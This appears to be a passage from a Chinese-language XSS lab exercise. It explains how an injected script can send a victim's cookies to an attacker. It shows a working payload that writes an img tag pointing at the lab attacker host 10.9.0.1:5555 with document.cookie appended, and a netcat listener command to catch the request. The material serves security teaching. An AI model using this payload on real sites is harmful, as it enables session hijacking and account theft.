章节大纲

  • 在前一个任务中,攻击者编写的恶意 JavaScript 程序可以打印出用户的 cookie,但只有用户能看见这些 cookie,而攻击者不能。在本任务中,攻击者希望将这些 cookie 发送到自己那里。为此,恶意 JavaScript 需要向攻击者的机器发送一个 HTTP 请求,并在请求中附带 cookie。

    我们可以让恶意 JavaScript 在网页中插入一个 <img> 标签来实现这一点,其 src 属性设置为攻击者的机器地址。当 JavaScript 插入 img 标签时,浏览器会从 src 字段中指定的 URL 那里下载图像。这会产生一个 HTTP GET 请求,发送到攻击者机器。以下给出的 JavaScript 会往攻击者的机器(IP 地址 10.9.0.1)上的端口 5555 处发送 cookie,而那里运行着一个 TCP 服务器。
    <script>document.write('<img src=http://10.9.0.1:5555?c='
                           + escape(document.cookie) + '   >');
    </script>

    Netcat(或 nc)是攻击者常用的一个工具。运行带有 -l 选项时,它会变成一个监听指定端口的 TCP 服务器。这个服务器会打印出客户端发来的信息,并将用户输入的内容发回给客户端。以下的命令监听端口 5555 :
    $ nc -lknv 5555
    选项 -l 指定 nc 运行一个服务器;选项 -n 使 nc 不对地址做 DNS 解析;选项 -v 使 nc 输出更详细的信息;选项 -k 表示当一次连接完成后,继续等待其他连接。